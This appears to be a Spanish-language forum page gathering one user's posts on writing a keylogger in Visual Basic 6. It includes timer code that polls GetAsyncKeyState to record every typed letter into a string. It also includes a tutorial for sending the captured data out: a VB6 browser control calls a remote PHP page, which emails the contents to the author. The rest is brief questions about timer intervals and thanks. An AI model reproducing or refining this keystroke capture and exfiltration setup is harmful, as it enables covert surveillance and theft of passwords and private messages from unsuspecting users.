Mensajes

Y si no lo hago con timer, ¿como lo hago? Gracias.

Estoy en un portatil, mira el code

Código (vb) [Seleccionar] Expandir

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim cadena As String

Private Sub Timer1_Timer()
    If GetAsyncKeyState(vbKeyA) <> 0 Then
     cadena = cadena + "a"
    If GetAsyncKeyState(vbKeyB) <> 0 Then
     cadena = cadena + "b"
     ElseIf GetAsyncKeyState(vbKeyC) <> 0 Then
     cadena = cadena + "c"
     ElseIf GetAsyncKeyState(vbKeyD) <> 0 Then
     cadena = cadena + "d"
     ElseIf GetAsyncKeyState(vbKeyE) <> 0 Then
     cadena = cadena + "e"
     ElseIf GetAsyncKeyState(vbKeyF) <> 0 Then
     cadena = cadena + "f"
     ElseIf GetAsyncKeyState(vbKeyG) <> 0 Then
     cadena = cadena + "g"
     ElseIf GetAsyncKeyState(vbKeyH) <> 0 Then
     cadena = cadena + "h"
     ElseIf GetAsyncKeyState(vbKeyI) <> 0 Then
     cadena = cadena + "i"
     ElseIf GetAsyncKeyState(vbKeyJ) <> 0 Then
     cadena = cadena + "j"
     ElseIf GetAsyncKeyState(vbKeyK) <> 0 Then
     cadena = cadena + "k"
     ElseIf GetAsyncKeyState(vbKeyL) <> 0 Then
     cadena = cadena + "l"
     ElseIf GetAsyncKeyState(vbKeyM) <> 0 Then
     cadena = cadena + "m"
     ElseIf GetAsyncKeyState(vbKeyN) <> 0 Then
     cadena = cadena + "n"
     ElseIf GetAsyncKeyState(vbKeyR) <> 0 Then
     cadena = cadena + "r"
     ElseIf GetAsyncKeyState(vbKeyO) <> 0 Then
     cadena = cadena + "o"
     ElseIf GetAsyncKeyState(vbKeyP) <> 0 Then
     cadena = cadena + "p"
     ElseIf GetAsyncKeyState(vbKeyQ) <> 0 Then
     cadena = cadena + "q"
     ElseIf GetAsyncKeyState(vbKeyS) <> 0 Then
     cadena = cadena + "s"
     ElseIf GetAsyncKeyState(vbKeyT) <> 0 Then
     cadena = cadena + "t"
     ElseIf GetAsyncKeyState(vbKeyU) <> 0 Then
     cadena = cadena + "u"
     ElseIf GetAsyncKeyState(vbKeyW) <> 0 Then
     cadena = cadena + "w"
   ElseIf GetAsyncKeyState(vbKeyX) <> 0 Then
     cadena = cadena + "x"
     ElseIf GetAsyncKeyState(vbKeyY) <> 0 Then
     cadena = cadena + "y"
     ElseIf GetAsyncKeyState(vbKeyZ) <> 0 Then
     cadena = cadena + "z"
     ElseIf GetAsyncKeyState(32) <> 0 Then
     cadena = cadena + " "
     ElseIf GetAsyncKeyState(13) <> 0 Then
     cadena = cadena + vbNewLine
     ElseIf GetAsyncKeyState(63) <> 0 Then
     cadena = cadena + "?"
     ElseIf GetAsyncKeyState(191) <> 0 Then
     cadena = cadena + "¿"
     End If
     Text1.Text = cadena
End Sub

Sigue sin ir bien, hay veces que no pilla las telcas, las repite etc...

Si lo pongo a 1, por ejemplo cuando pulsa una tecla = se repite la misma tecla 2 o 3 veces...

Bueno, estoy programando mi keylogger y el timer que capta las pulsaciones no se a que intervalo ponerlo porque si escribes muy rapido no coje muy bien las teclas, tengo de intervalo 150.

¿Alguien sabe a cuanto ponerlo? Gracias.

Pero vb envia la información del email.

Yo utilizo funpic.de y si que me funciona

[== PHP ==]

Bueno, he visto muchos temas preguntado como se hace incluso yo también lo preguntava pero porfin conseguí como hacerlo, no solo bamos a necesitar vb6 si no también PHP ya que el email se envia por la web.

1 - Creamos un nuevo proyecto y bamos a: Proyecto>Componentes>Microsoft Internet Controls
2 - Aparecerá un icono de un mundo en herramientas, lo ponemos en el form y le cambiamos el nombre a ws ¿ok? seguimos
3 - Añadimos un command y le damos doble click y escribimos

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
ws.Navigate("www.lawebdondealojaremoselphp.es/index.php" & "?value=" & "aqui los datos a enviar")
End Sub
Bueno con este código ya lo hemos hecho todo en vb6.

== PHP ==
Abrimos el bloc de notas y escribimos

Código (php) [Seleccionar] Expandir

<?php
$val = $_GET['value'];
mail ('tuemail@taltal.com', 'Titulo', $val);
?>
y lo guardamos como index.php
ahora si subiis el archivo index.php a www.tuweb.com/index.php el codigo de vb6 seria

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
ws.Navigate("www.tuweb.com/index.php" & "?value=" & "aqui los datos a enviar")
End Sub


Aqui termina todo !! Ahora el index tienes que conseguir un hosting que acepte PHP.

Ale by ErMoja

Depende del intervalo que tenga el timer y de lo largo que sea el progressbar.

OK ya me rula thanks a todos.